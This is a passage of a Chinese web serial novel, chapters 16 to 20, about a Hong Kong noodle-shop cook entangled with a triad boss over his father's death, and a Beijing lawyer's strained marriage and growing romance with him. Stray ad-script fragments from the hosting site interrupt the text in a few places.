“瞎说什么你这臭小子!”昌叔假装没听见,重新又捞起面条。 “我知道,我不在香港那几年,是你一直照顾我妈,她才没被洪兴的人找麻烦。再往前,我老爸走了以后……” “咳咳……”昌叔以咳嗽掩饰表情的不自然,“老啦,都一把老骨头了,还折腾什么呢?大家互相帮衬着过日子就行了。” “这是你的意思,还是我妈的意思?”余琛没打算含混过去。 “这么多年,早就心照不宣啦。我知道,阿霞心里一直有你老爸,我呢,当初真是因为愧疚才去照顾你们母子的。只是后来时间长了,两个人就……”这还是第一次昌叔和余琛正面聊这个话题,怎么说都有些别扭。 提到故去的父亲,余琛的脸上也有一丝黯淡,“我知道,当年的事是意外。” 童年的回忆,已经很久远了。 小时候,爸妈经营小吃店,卖港式鱼蛋和车仔面。在余琛的印象里,父亲一直是中年人,长得高大,为人也厚道,街坊都叫他一声“余叔”。母亲年轻一些,泼辣能干,人很漂亮,正如“李美霞”其名,邻居都叫她“霞姐”。小小的余琛则被街坊戏称为“鱼蛋仔”。 那时候的余琛还是个皮小子,放了学和朋友在巷子里疯跑,玩到天黑才回家。傍晚正是店里陆续上客的时候,余琛回去扒两口饭吃,然后就卷起袖子去店里帮忙。 来店里的大多是常客,有人叫他鱼蛋仔,也有人打趣他是车仔面少东,说他以后一定是要继承家业,一家变两家,两家变四家……旁边则有人反对道,不好不好,要念书才能出人头地嘛,以后穿西装坐办公室,最好还能讲鬼佬的话赚他们的钱,多威风。霞姐眼观六路耳听八方,记菜结账之余,听到这些玩笑话,还会笑骂一句“这个臭小子,他最好有这个脑袋读书!” 这些话余叔是听不到的,因为这时候他一定在厨房忙的热火朝天。霞姐三头六臂在前面招揽客户,后厨的事就由余叔一应负责,包括采购。 直到那一天。 午后两点,正是上班族昏昏欲睡的时候,一伙劫匪在宝江路抢劫了渣打银行后飞车逃窜,警方穷追不舍。混乱中一伙劫匪被打散,其中一个逃进了附近的小巷,正巧余叔开着摩托带着采购的海鲜和面粉调料回来,中间还加了一个小型的煤气罐。 劫匪拿枪指着余叔抢下了摩托车,没开多远就被抄近路赶到前面的警察堵住了。狗急跳墙的匪徒返回来抓住了还没走远的余叔,威胁警察退后。 后来的事,谁也说不清楚。有知情人含糊地说绑匪当时已经接近癫狂,开枪乱射击,警方不得不立即击毙他,以免伤到行人。混乱中不知谁的子弹打中了不远处的煤气罐,小小的巷子里根本没有躲开的余地。 绑匪、余叔和两名警察当场身亡。还有十余人有不同程度的受伤。 好好一个家,就这样塌了。霞姐没有了丈夫,余琛没有了父亲。 余叔的死最终被算在了绑匪头上,因此余家没能拿到政府的补偿。当年的媒体处处报道两名警察在和歹徒的搏斗中英勇就义,最终同归于尽。没有人注意到还有一名无辜的路人也在那场扑朔迷离的事故中丧生。 余叔去世后,小店的生意艰难起来。霞姐一个人苦苦撑着,又招了个后厨。余记面店的汤底有自己的配方,霞姐不愿意被外人知道,就自己每天夜里配好,第二天拿给厨师叫他去做。 采购的事也由霞姐接过来,里里外外的事都压在霞姐一个人身上。没几天霞姐就病倒了,才休息了一天回去一看,厨子撬开前台偷了柜子里的钱,跑了。 霞姐没办法去报警。13岁的余琛跟着妈妈,那是他第一次到警察局,也是第一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次见到昌叔。 昌叔正是余琛爸爸遇害那天在场的警员之一。知道了这个情形说会尽力,见他们孤儿寡母可怜,也快到下班的时候了,就送他们回家。 小偷最后也没能抓到,也许是同情,也许是愧疚,那之后昌叔就常常过来,偶尔还会带几个朋友来照顾生意。 一晃几年过去。临近毕业,余琛打算读完中学就回店里帮衬妈妈,这些年霞姐实在太辛苦了。 没想到那天回家吃完饭,照例去店里帮忙时,却看见余叔握着母亲的手。当时店里很冷清,没什么客人,母亲站在柜台后面,昌叔站在柜台旁边。两个人的手交叠在柜台后,母亲低着头,有些脸红。 前面的客人是看不到这一幕的,可余琛穿小径从后厨过来,一眼就看到了。 他不知道该怎么形容当时的心情,有震惊,有难堪,还有一丝对父亲的背叛感。余琛没说什么,只是默默地,又退出去了。 那天母亲很晚才回来,也没问余琛为什么今天没去店里帮忙。余琛说了自己将来的打算,母亲愣了一下,或许是想起了当年街坊们的调侃,最后也只说了句“哦,好。” 临到睡前,母亲又来到余琛的房间,像是有什么话要说,余琛也不知道怎么,就说了句:“过几天是爸爸的忌日了。” 余叔,走了四年了。 霞姐的神情在那一刻变得有些悲戚:“啊,是啊,到时候我们去看看他。” 在那之后,昌叔就来的少了。母亲对他也不似以前热络。直至毕业前,余琛有次无意听到他们吵架,虽然很小声,却很激烈。夏日的晚风里,余琛躲在后厨听不真切,唯一听清的是母亲的只言片语:“找个好女人,过后半辈子。” 余琛毕业后就正式来店里了,继承了父亲的衣钵,担任起小店的大厨。这几年店里的厨子换了四五个,总是不尽如人意,厨子自己也知道,早晚要给少东家让位的,做的也就马马虎虎。如今一切终于回归正轨。 霞姐甚是欣慰,在余琛接过大勺的前一晚把家传秘方传给了他。余琛也兢兢业业,一做就是五年。霞姐从老板又退居成老板的娘,只盼着过两年娶个儿媳,早点抱上孙子,也就对得起余叔了。 余琛继业之初,昌叔偶尔还过来几次。后来就再也不见踪影,听说是调到别的区去升职了。 还是从食客嘴里听到的消息,余琛留意霞姐的表情,看不出什么异样,只是后来收钱的时候,找错了几回。 余琛渐渐长大,对母亲再嫁的事也不像当年那么难接受了,倒是看母亲这些年一个人寂寞,心里也不落忍。慢慢起了心思,想着找个时间去看看昌叔,如果对方还是一个人,和母亲能走到一起也不是不行。 还没来得及去,麻烦来了。 17. 第 17 章 十几年前,那条街上的治安很不好,被收保护费是常事。只是昌叔经常过来,地头蛇不敢来找事罢了。 余琛刚继承面店时,昌叔的余威还在。后来昌叔被调到尖沙咀后,慢慢就开始有人来上门了。 余叔去世后,霞姐就变得胆小起来。只要给钱能保平安,霞姐觉得再好不过。小店也就这样维持着。 也许是经济不景气,店里的生意本来也就勉强收支平衡,来收保护费的却越来越过分,胃口渐渐大起来。余琛气不过,和地头蛇打过几次,有一次闹得凶了还去了警察局。这种事警察见怪不怪,各自关了24小时,又放了出来。 小混混被关警局是家常便饭,又没有正业,耽误不了什么事,出去还能吹嘘一把。余琛就不一样了,他不在,霞姐一个人支应不了店面,又要担心他。余琛眼眶乌青从警局回家那次,明显感到霞姐老了,受不得惊吓了,也就忍下这口气,继续交钱了事。 后来有一天,店里又来了人。 这次余琛明显感觉不一样了。平常来的那两个喽啰冲在前面气势汹汹,一转头则点头哈腰,明显是他们的头目,一共来了三个人。 这些人一来就赶走了食客,又在店里翻翻捡捡,像是找什么东西。霞姐陪着笑说了两句好话,反被推了个趔趄。余琛接住母亲又扶她在一旁坐好,上去理论。 对方只是骂骂咧咧让他交出来。 余琛以为又是要加价,就说最近生意不好做,没想到对方直接一拳打了过来。余琛心头火也冒了出来,一对三,竟然一时打了个平手。 不料这次对方不是赤手空拳,一个留着长头发的男的突然拿出一把弹簧单,朝着余琛直刺过来。余琛反应极快,闪身往侧面躲开,顺手拿起一个汤碗一挡,推开了弹簧刀的二次进攻。这时头目的拳头又来了,余琛未免腹背受敌,一脚把长发男踹出去,结果长发男还没落地就被后面的椅子绊倒,往侧面摔了下去,惨叫一声,趴在地上不起来。 另一个喽啰见情况不对,赶紧过去把长发男翻过来,只见他的腰间插着刚刚的刀,血已经把衣服染红一片了。 两个喽啰平时私交不错,见同伴重伤,也顾不上之前的任务,大叫一声:“老大,出人命了!” 这一叫也把正在气头上的余琛惊醒,手下就泄了力气。头目趁机又照着余琛的脸上打了一拳才走过去看,伤的不轻,得赶紧处理,转过头对余琛恶狠狠道:“你小子给我等着,跑得了和尚跑不了庙!”说着,两个人架起长发男走了。 事发突然,霞姐此刻已经被吓得坐在座位上不能动弹。 余琛也心下惶惶,自己手上沾人命了? 缓了一会,霞姐颤颤巍巍地走过来,一把抓住余琛:“阿琛,咱们跑吧,去乡下!” 余琛有些茫然:“那店怎么办?”这家店是父亲的心血,也是父亲留给他唯一的东西了。 “先关一阵子,等风头过了再回来!”霞姐坚定道。现在什么都没儿子重要,哪怕店不要了,也不能让儿子坐牢。 “哼,你们走不了了。”一个声音从后方传来。 霞姐吓了一跳,险些跌倒。余琛眼疾手快扶住了她,心里也是惊疑。母子俩回头一看,一个男人不知什么时候站在了前台的角落里。 “你是谁?”余琛疾言厉色,把母亲护在身后。 “我是谁不重要,”男人自顾自地在前台开了瓶酒,喝了一口说道:“重要的是你惹了洪兴的堂主,以为这么容易就能脱身吗?” 见余琛不说话,男人又火上浇油:“除非你躲在乡下当一辈子缩头乌龟,否则你捅了人家一刀,连本带息总要还回来的。” “不是,不是阿琛捅的,是他自己摔倒扎进去的,我看见了!”霞姐急忙为余琛辩解。 “你看见了?警察会信你的?”男人挑着眉问道。 “你到底是谁?”余琛心里疑窦丛生。 “我是能帮你摆平这件事的人。”男人直视余琛,自信的说道。 “他们不是来收保护费的,是来找你的?”余琛心里的猜测慢慢确定了,这个人果然和洪兴有关系。 “脑子不错,身手也不错。考不考虑跟我干?”马天成是洪兴的老大,三天前被下面的人反水,伤了腿,今天落脚点被找到,仓促之下逃进了余记面店的后厨。本想着要有场硬仗了,没想到阴差阳错被这小子摆平了。 余琛根本不想跟什么江湖帮派惹上关系,直接下了逐客令。 见余琛软的不吃,硬的自己暂时来不了,马天成的眼里也有了一丝狠戾,换了个方式问道:“那你打算怎么解决?没有你那一脚,那小子就不会摔倒,不会摔倒,也就不会中那一刀。就算你去找警察,躲得过洪兴的追杀,你能躲得了坐牢吗?你今年多大,20?25?蹲个十年八年出来,谁还敢用你?想接着开店?杀人犯的店,谁敢来?” 马天成的话正说中霞姐的心事,自己不指望儿子大富大贵,只盼着他平平安安,急道:“那你有什么办法?” 马天成见有戏,胸有成竹道:“跟我干,等我拿回洪兴,你当然也就没事了。” “你是洪兴的坐馆?”余琛问道。 “没错。”马天成又给自己倒了杯酒,“洪兴出了叛徒,我被小人暗算。等我回到洪兴,他们全都得受家法。”说到最后,捏紧了拳头。 “我不当古惑仔。你走吧,我不会和别人说你来过。”余琛还是下了逐客令。 余琛软硬不吃,马天成面上不显,心里也有点着急了。自己现在腿脚不便,万一漏了相,这小子一狠心想杀人灭口就糟了。况且现在急需要马仔,不能失去这个机会。 “你就不想知道你老爸真正的死因吗?”马天成放下酒杯,眯着眼睛问道。 果然,气氛变了。 余琛没有立刻回答,但整个人明显绷紧了。 “你什么意思?”余琛紧盯着马天成,表情愈发严肃。 有戏。 马天成的自信又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回来了,盯着余琛一字一顿:“都知道你老爸是被炸死的,可谁知道打爆燃气的那一枪是贼还是官呢?” 余琛的呼吸急促了。困扰他们母子快十年的问题,竟然从一个帮派大佬的嘴里说出。 “出事的那个巷子本身是没有录像的,但是巷尾的一家钟表维修店在案发前几天刚刚丢了一块很名贵的表,老板就装了监控,正好可以拍到巷子。” “啊!”霞姐惊呼一声,“是,光叔的店,当时他还报了警,街坊们都被警察问过话。没几天,你爸就……” “那光叔现在在哪?”听到霞姐的印证,余琛心里信了马天成七八分,只要找到光叔,爸爸当年的死因就可以彻底查清了。 “他……他搬走了。”霞姐努力回忆着,可是这段回忆太痛苦,她再怎么用力想,也想不起光叔到底是什么时候搬走的。 马天成见他们母子的样子,心里已有了九成把握,接着说道:“出事没几天,他就搬走了。” “为什么?”余琛追问。 “为什么?”马天成笑着问:“你们刚刚,为什么跑路呢?” 因为闯了祸。可是光叔能闯什么祸呢?不对,不一定是他做了什么,可能只是他知道了什么,惹了麻烦。 余琛想起马天成最开始的问题,谁知道打爆燃气的那一枪是贼还是官呢? 光叔知道。 余叔的死最终被算在了劫匪头上,如果是劫匪开的枪,光叔不用走。答案已经呼之欲出了。 马天成注意着余琛的表情,知道他已经猜到了,继续循循善诱:“眼见为实。当年警察从钟表店老板那里拿走了那份监控,正巧,我有备份。你想不想看看?” “你想要我做什么?”余琛问。洪兴的坐馆不会大发善心给他看当年的真相。说了这么多,一定是要他做事。 “考虑一下当我的马仔。我可以保证,等我回了洪兴,你就是洪兴的二当家。”洪兴现在的二当家,正是在马天成腿上砍了一刀的那个叛徒。反正是要死的,这个空缺换一个马仔给自己卖命,不亏。 “等你成了洪兴的二当家,你就是一人之下万人之上。你想继续开这家店就开,再也没有人敢来店里找你麻烦。你老妈也可以跟着你享荣华富贵,怎么样,干不干?”马天成的嘴唇慢慢失去血色,可眼睛亮的惊人。 霞姐心里打鼓,直觉这不是好事。虽然想知道老公当年死亡的真相,但还是儿子的前途更重要,抓紧了余琛的手臂。 余琛沉默了一下,“我不当古惑仔。你换个条件,你可以在我这养伤。”余琛注意到了,马天成虽然一直坐在前台一副游刃有余的样子,但说了这么多话,他的精神明显没有刚开始时好了,脸色也有些青白。他一定是受了伤。 马天成心中一紧,这小子看着话不多,眼睛倒是很毒,也不勉强,“你不想当我马仔,也不勉强。养伤,你这是不行了,得换个地方。这样,你送我出海。等到了泰国,我自然会给你想要的东西。” 18. 第 18 章 林茜看到余琛的信息,想起之前他带她去的老广私厨,那家的菠萝包也很好吃,还有云吞面。竹升打的银丝面,三肥七瘦的猪肉云吞,配上大地鱼和猪骨熬成的浓汤,一碗喝下去,鲜掉眉毛,身心熨帖。 肚子发出一声空饷,饿了。 看了眼时间,差不多也要下班了。林茜拎起包,直奔老广私厨。 这家会所开在寸土寸金的二环,平常都得预约。林茜本想碰碰运气,看今天还有没有位置,没想到报上名字后就被领进了一间包厢,窗外有假山古柏,还有一汪池水涓涓流过,看着人心旷神怡。 没多久,云吞面也送上来了,一起来的还有老板。 林茜笑嘻嘻地打招呼:“噫?戴老板来了?今天我运气真好,竟然有位置。” 戴老板胖胖的憨态可掬:“林小姐过来,什么时候都有位置,阿琛嘱咐过的。” 林茜奇道:“余琛?” 戴老板解释:“他也是这家店的股东。之前在香港,就多受他照顾。后来他来北京,正巧我也要拓展生意,香港的店交给徒弟,我就跟着来了。大家认识久了,搭伙做生意也放心。” 林茜笑道:“没想到他这么有生意头脑。开了拳馆又开饭店,样样有声有色。” 戴老板附和:“是,我第一次看见他就知道,这个人靠得住。不过他来北京,不全是为生意。” “还为什么呢?”林茜顺着问道,心里却想起之前关昊对余琛穷追不舍的调查,也有些拿不准,余琛,真的没问题吗? “好像是为了找一个人。阿琛十年前来过北京一段时间,大概,就是找当年认识的人吧。我多嘴了,林小姐慢用,我先去忙了。” 余琛当年在北京人生地不熟,除了鱼粉店的人,八成就认识自己了。隔了十年,他来找我吗? 林茜想到这些,心绪就有些起伏。她习惯对身边的事有掌控感,这样有些茫然又酸涩的情绪,已经很久没有过了。林茜努力地把它压下去,说服自己,别自多做情,也许是那个让他失约的人呢? 有了心事再吃这碗云吞面,就有些食不知味了。面吃到一半,林茜还是拿起手机回了余琛信息:“好啊,我还没去过香港,以后有机会去,一定劳烦你做当地向导,吃遍港岛美食。对了,我今天到戴老板这里吃了云吞面,还是一如既往的好吃。不知余大厨手艺如何,做的不好吃我可不原谅。” 囫囵吃完一碗面,林茜回了老姚家。快离婚了,身边想有个人陪,所以先不急着找房子。老姚一个博主,白天健身晚上拍摄,家里装得跟样本间似的,天天吃西蓝花鸡胸肉,吃的人都要厌世了。难得又住进了个活人,也有了丝生气,乐得让林茜一直住下去。 走到楼下时,看到一个熟悉的身影,是关昊。 两天没见,关昊好像瘦了一点,人看起来也有些沉郁。初秋的傍晚已经开始凉了,关昊穿了一件深蓝色的夹克,双手插兜靠在墙上,不知等了多久。 见林茜来了,关昊直起身来立好:“回来啦。” “嗯,你怎么来了?”林茜问道。 “来看看你。”关昊的手从兜里伸出来,忽然就有点不知道往哪儿放,又放回了兜里。 “哦。”林茜应着,不知该说些什么。两个人走到尽头,连聊天也捉襟见肘。 “亮亮的学费已经解决了。还有,我和妈说过了,她不会再打电话给你。以后有什么事,都让她直接来找我。”关昊尽量语气轻松地说出这些。那天回去堪称落荒而逃,平常有林茜在身边感觉不到什么,突然发现真的要失去她了,才知道自己完全不能承受。 关昊自己也清楚,父母不喜欢林茜,觉得她不够听话、顾家。林茜在父母面前也不自在。要解决这个问题,必须得自己来。 周日晚上关昊捋清了这些事,周一一下班就找了发小和两个关系不错的朋友,凑了七八万,晚上直接开车去父母家了。 二老见儿媳这次来真的,又看儿子连同学朋友的钱都借来了,也知道不能再逼他了,摆摆手说自己年纪也大了,以后他们小两口的事不参与了,自己关起门好好过日子吧。 当然,这些关昊都没对林茜说。在他看来,自己是个男人,应该把一切解决好,过程不必让林茜知道。 林茜听到关昊的话也有些意外。关昊对家人一向很大方,侄子学费的事在自己看来很简单:提供力所能及的帮助,父母才是第一责任人;但对关昊可能就没那么容易。解决了?怎么解决的?想了想又觉得还是不问得好,别人的家事,不要参与了吧。 林茜斟酌着开口:“哦,好。我……打算跟爸妈说我们的事了。” 关昊猛然抬头:“说什么?你要干嘛?” “你别激动。这事迟早要告诉爸妈的。”林茜劝道。 “告诉什么?我同意了吗?”连日来积压在关昊心头的沉郁迅速升温成一团火,关昊极力地压制着。 路灯亮了,林茜整个人被笼罩在关昊的影子里,听出他强忍之下的怒火,本能地往后退了一步:“关昊,你别这样。” 就是这小小的一步,刺痛了关昊的心。 他那么要面子的一个人,拉下脸去找别人借钱。他虽然平常爱做甩手掌柜,但对父母还算孝顺,为了林茜也和爸妈说了狠话。这些情绪上的折磨比办案还累,可他想到这一切都是为了林茜,他觉得值得。 可林茜呢?她怕他?她竟然怕他? 被抛弃的怒火转为一腔委屈和酸涩。 关昊直接上前一步,一把抱住了林茜:“林茜,别闹了,我们和好吧。”声音里带着一点哭腔。 这是他最脆弱的时刻了,他毫无保留的,全都展现给林茜了。 像一头倔强的哈士奇,对着主人露出了柔软的肚皮。 林茜在心里叹了口气,抬起双手虚虚的拢住关昊:“关昊,会过去的。” 关昊心里不妙起来。林茜虽然没有挣扎,可他有种感觉,林茜这次哄不好了,她不会回来了。 关昊心里恐慌起来。他不能放开她,绝对不能放开她。手不自觉就又收紧了一点。 天色又暗了一些,上班族陆续回家,有经过的会扭头看一眼,以为是在谈恋爱的小情侣。关昊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像赖皮的小孩,就这样抱着林茜,头埋在她的长发里,不说话,也不放手。 林茜穿着高跟鞋的脚已经有些酸了,试着推了推,只得到一个更紧实的拥抱。她了解关昊,关昊执拗的劲儿上来了,硬来不行,只能怀柔。 林茜和他说话:“你几点来的?” 关昊的声音从耳边传来,“五点四十五。” 一下班就来了? “没吃饭吧?”林茜问道。 “嗯。”关昊小声哼着。 “我带你去吃饭,附近有家炸酱面做的不错。” 关昊是老北京,口味也很老北京。听到林茜这么问,慌张的心好像安定了一点。她还是关心我的。 “好啊。”关昊终于松开了林茜,转瞬又牵起了她的手,若无其事地说:“咱们怎么去?” 林茜睁只眼闭只眼:“离这大概900米,我们可以扫辆共享单车骑过去。”说完试着抽出手去拿手机。 关昊察觉她的动作后握得更紧了一点:“900米也不算远,咱们溜达去。” 林茜无奈,她不敢提醒关昊自己还穿着高跟鞋,她怕说完之后关昊会直接背她过去。 两个人在绿化带旁的小径上慢慢走着。初秋的天气很凉爽,关昊只希望这条路可以一直走下去,没有尽头。 店里人不多,两个人挑了个清净的位置坐下。关昊先问林茜:“你吃什么?” 林茜放在桌下的手默默扶上了小腹,刚刚才吃了云吞面,再来一份面,一晚上吃这么多碳水,怕不是要胖死?就说道:“我最近在减肥,就不吃了。” “那怎么行?”关昊一口回绝,“你都瘦了,应该多吃点才对。”也不再问林茜的意见,直接点了两份炸酱面,大份,又点了几样小菜,两瓶可乐。他是真的饿了。 家里没人做饭,关昊这些天都是外卖凑活,中间还因为吃大排档吃坏一回肚子,后来又坏了大事。不提了,都是泪。 现在虽然置身面馆,可是有林茜在身边,在家吃饭的那种踏实感又回来了。今天的炸酱面也就格外香。 林茜吃了两口实在吃不下了,端起杯子小口喝着店里的茶。关昊也不介意,直接拿过来吃了个干净。 林茜看着关昊,心里发愁,他完全没做好离婚的准备啊。 放在桌上的手机震了一下,有信息。林茜点开一看,余琛回复了。 林茜不着痕迹地把手机立起来,避开关昊的视线。虽然和余琛没什么,可不能再刺激关昊了。 余琛回复:好的,连同之前的份一起赔罪。当年因为阿妈那边有重要的电话,错过了给你下厨的机会,我一直都记得,希望回来可以弥补这个遗憾。 竟然是母亲的电话吗?那确实很重要了。他是因为这个才爽约的……林茜想起当初,心中滋味莫辨。 等回过神时,就看到关昊一双凌厉的眼正盯着自己。 出现了,那样的神情又出现了,只有和余琛相关时才会出现的神情。 关昊感觉周围的一切都模糊了,清晰的只有眼前的林茜,和一颗即将爆裂的心。 19. 第 19 章 林茜看着关昊的眼神,心中警报拉响,面上却自然地问:“怎么了?” 关昊盯着林茜:“谁的信息?” “朋友。” “哪个朋友?”关昊紧追不舍。 “余琛。”林茜平视着关昊的目光,就这么自然地说出了。 关昊却突然泄了气,他想知道答案,又怕知道答案。现在突然知道了答案,说不清是愤怒多一点还是恐慌多一点。可是心中还抱着一丝侥幸,她说的这么自然,也许他们真的只是朋友?是自己想多了。 林茜接着说道:“我知道你怀疑我和余琛有什么,我可以明确地告诉你,没有。以前没有,现在也没有。当年他救过我,可是我误会了他,心里始终有份歉意,而且我是真的相信,他是个好人。” 这番话缓解了关昊的不安。林茜对她和余琛的关系盖棺定论,关昊的眉头也终于松下来。至于当年林茜笔录里提到的男朋友,审讯室里余琛对妻子毫不掩饰的关心,男人对情敌的第六感,关昊都选择性忽视了。 他们只是朋友。 林茜心软,所以才帮他。 如果有什么,那一定是余琛的错,是他心机深沉,是他居心叵测,是他装成好人骗取林茜的信任,潜伏在她身边伺机而动。 一定是这样。 关昊缓和了脸色,甚至露出一点笑容:“既然说清楚了,那我们回家吧。” 林茜见他自欺欺人,心中也有点不忍,可长痛不如短痛,继续说道:“我说这些,不是要和你重修旧好,是不希望你带着误会分开。我们之间的问题,和余琛没有关系。” 关昊刚糊弄完自己,就在这虚假的和平中放松下来,毫无防备的时候,突然被插了一刀。 林茜说了那么多,他只听到最后几个字“和余琛没有关系”。 余琛,余琛,说到底都是为了余琛。 关昊忽然怒不可揭,吼道:“你说这么多不就是为了给余琛撇清关系?他有什么好?你为了他要跟我离婚?你想都别想!” 店里的食客齐刷刷都往这边看来。 关昊正在气头上,对着四周又吼了一句:“看什么看?滚!” 男人们大多收回了意味深长的目光,也有极个别的就那么大喇喇地看着,等后续。年轻的女孩子被这么一吼都赶紧低下头,闷头吃面。唯有一个大妈不满地小声嘀咕:“脾气这么差,怪不得老婆跟别人跑了。” 这一句自言自语在满堂寂静的店里显得格外清晰。 关昊绷紧的神经在断裂边缘,对着大妈大声说:“你说什么?你再说一遍!” 大妈也吓了一跳,不过余光撇见周围有街坊熟人,心里有了点底气,也不想输了面子,硬着头皮道:“怎么着?自己留不住媳妇儿,还怕人说啊?我告诉你,我可有高血压,你动我一下试试?” 林茜怕事情闹大,赶紧连拉硬拽把关昊拖出了小店。没给饭钱。 店老板看了又看,心里默默评估了一下,算了,两碗面值多少钱,打坏东西就不值当了。 说来也巧,姚佳莉今天从别的博主那串门回来,正好看到两个人在路边拉拉扯扯的一幕。 要是小情侣打情骂俏也就罢了,可这明显不像啊。关昊一看就怒气冲冲的,林茜身上的伤还没好利索呢。姚佳莉犹豫了一瞬,走上前去:“茜茜、关昊,你们怎么在这啊?” 关昊看见熟人,还是林茜的朋友,就收敛了一些,但还在气头上,朝姚佳莉点了点头算打招呼。 林茜惦记着还没结账,又不敢把关昊一个人留在这,正好姚佳莉来了,赶紧说:“老姚,我们刚刚出来得急没给钱,你进去帮我结一下吧,两份炸酱面、两瓶可乐,几个凉菜,回头我转给你。” 姚佳莉摆了摆手:“嗨,不用,炸酱面才几个钱啊,我请你了。”边走边纳闷,急?干什么呀这么急?连钱都不给就跑出来,老板也放你们走? 进去的时候发现店里人虽然不多,但嗡嗡的,气氛挺热烈。姚佳莉把替人结账的事这么一说,空气瞬间就安静了。一个个的人虽然在座位上,但耳朵都支棱起来了,姚佳莉的八卦之火迅速燃起,趁着给钱向老板打听:“怎么回事啊王哥,钱都没给就让他们走啦?” “哎呦你可不知道,”老板一肚子八卦添油加醋地倒出来:“差点就打起来了……” 三两下打听清楚。得,还是为了余琛。 林茜这几天都住在自己这里,她跟余琛有没有一腿她还不知道吗?肯定是关昊又冲动了。姚佳莉腹诽。 不过心里有没有就不好说了。剪不断理还乱呐。还是自己好,无爱一身轻。 姚佳莉迈着四方步又走了出来,看见关昊蹲在路边,握着林茜的脚踝,林茜站不稳还要躲的样子。 “怎么啦这是?”有这么个老公也是累人,得随时随地当灭火队长,姚佳莉心里同情林茜一秒。 林茜像看到救星,一把拉住她对着关昊说:“正好,老姚回来了,我这就是磨破点皮,回去贴个创可贴就行了。不早了你也回去吧。” 关昊也知道今天冲动了,高高的个子垂着头,没再勉强,叮嘱了林茜几句走了。 姚佳莉看着关昊的背影,有点可怜。 等到扶着林茜一走,才知道她不是擦破皮这么简单,是真的扭到了,“怎么回事啊?” 林茜撇撇嘴,无奈地说:“说来话长了,今天下班忽然想吃云吞面,走得急就忘了换鞋。结果吃完回来看见关昊在楼下等着呢,他又不肯轻易走,我没办法又带他来吃饭,中间余琛发了条信息给我,总之他就发火了,我硬拉着他出来时被门槛绊了一下,就扭到了。” “什么信息啊?他跟你表白了?”姚佳莉抓住重点。 “没有,就是普通的信息,关昊也没看到内容。” 这就至于闹这么大一出?姚佳莉对关昊那点同情也没了。 好在老姚是运动博主,对跌打损伤还挺有一套的。止痛药这么一喷,肿起来的脚踝就舒服了很多。 “旧伤未愈又添新伤啊你,周末去庙里拜拜吧。”姚佳莉打趣道。 菩萨没看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到,先看到了余琛。 前台来通知时,林茜还有点诧异,他从香港回来了?怎么没说一声。 余琛坐在等候区的沙发上,另一个前台送来一杯水,余琛顺手拿过一个礼盒递给她:“谢谢,我是林律师的朋友,来找她谈事情。这是从香港带回来的一些点心,不介意的话就分给大家尝尝吧。” 前台小姑娘是个刚毕业的大学生,这一下就对余琛印象很好,人又高大,又稳重,彬彬有礼的,还知道带伴手礼。谢过之后把礼盒带去了茶水区,当大家的下午茶,路上还给林茜宣传了一波:林律师的客户带了点心给大家。 林茜从办公室出来一看,还真是余琛,“什么时候回来的,怎么没听你说呢?” 余琛微笑着说:“本来要再过两天的,但提前处理完了,就赶昨天夜里的飞机回来了。” 说话时,余琛留意到林茜的站姿和平常有些不同,好像重心更偏向左腿,快要拖地的长裤下隐约露出的是平底鞋鞋底。余琛问道:“你的腿怎么了?” 林茜惊讶:“这么容易看出来吗?昨天右脚扭了一下,我以为穿着长裤就不明显了。”低下头左右看了看,没看出什么不对啊。 “怎么回事?用过药了吗?”余琛瞬间想到林茜上次受伤,她是不是又为了案子做什么危险的事了? 见余琛紧张,林茜连忙解释:“没事,就过门槛时不小心扭到的。已经涂过药啦。” “拳馆里也有些常用的跌打损伤药,下次来我拿给你。” “不用啦,老姚也是健身博主,各种外伤药一应俱全。这个药就是她给我的。” “老姚?”这是什么人?怎么没听阿生提起过。 “哦,上次你帮我忙,结果……然后我放出那个视频到网上,就是姚佳莉帮我联系的媒体,她是我大学同学,也是我最好的朋友。”提起上次牵连余琛的事,林茜还有点不好意思。 姚佳莉?看来是个女孩子。余琛不再过问,他知道林茜不喜欢别人对她的事问东问西,就结束了这话话题,只是伸出手托住了林茜的胳膊:“这样可以省点力。” “不用。”林茜小声推脱着,当律师当久了,习惯冷静强势的出现在人前,不能露出病弱的一面。 余琛却罕见地坚持:“我也是专业的,这样会好的快一点。” 林茜想到他确实是专业打拳的,受伤更是家常便饭,所以才会一眼看出来吧?他的话应该没错。反正接待室就在对面,就不再推辞了。 两人坐下,余琛说明来意,想正式聘请林茜做自己拳馆的法律顾问。日常负责审核合同,提供法律咨询,平时不用坐班,每个月去两次就可以,一年办四场普法讲座,如果拳馆遇到纠纷需要林茜代理,费用另算。 是业内的惯例,出价也很优厚。 林茜没有拒绝的理由。 细节很快敲定,林茜出去拿打印好的合同,回来笑着问余琛:“余老板带了点心来,怎么没有我的份?” 余琛看着她,温和地说:“你那一份,要我亲自做的。” 20. 第 20 章 伶牙俐齿的林律师,忽然就语塞了。 余琛眼里透出一点笑意:“但不是今天。快到中午了,不知道我回北京的第一顿饭,够不够幸运和林律师一起吃?” 成年人的面皮早就千锤百炼,林茜神色如常:“好啊,我请客,给你接风。”只是耳根有一点点发烧。 饭还是余琛请的。他有备而来,早就定好了包厢。 一家江南菜馆,装潢清雅,饭菜也精致。 等菜的功夫,余琛问道:“可以给我看看你的脚踝吗?拳馆也经常有人受伤,有些韧带损伤当时看不严重,可处理不及时会留下后遗症的。” 有道理,还是应该去医院看看。可不知为什么,林茜还是卷起了裤脚。 余琛蹲在地上,细细的端详着林茜的脚踝,还有些肿,边缘发青,这是慢慢散淤的迹象。余琛伸出手轻轻地按了按,肿的不算厉害,情况还好。 跌打油的清凉气味冲进余琛的鼻腔里,后知后觉地发现自己离林茜这么近,余琛心跳得有些快,抬起头看着林茜:“还好,记得按时擦药,过一周应该就好了。” 大块头蹲在地上时,像凶猛的野兽蹲在主人身边,只露出一颗毛茸茸的脑袋和脆弱的脖颈,让林茜想要恶趣味的揉一把。 直到温热的手指触到皮肤的那一刻,林茜头皮发麻,几乎想要战栗,费了好大的力气才没把脚缩回去,见他抬起头,口中说着什么,可什么也没听清,只是红着脸点头,像小鸡啄米。 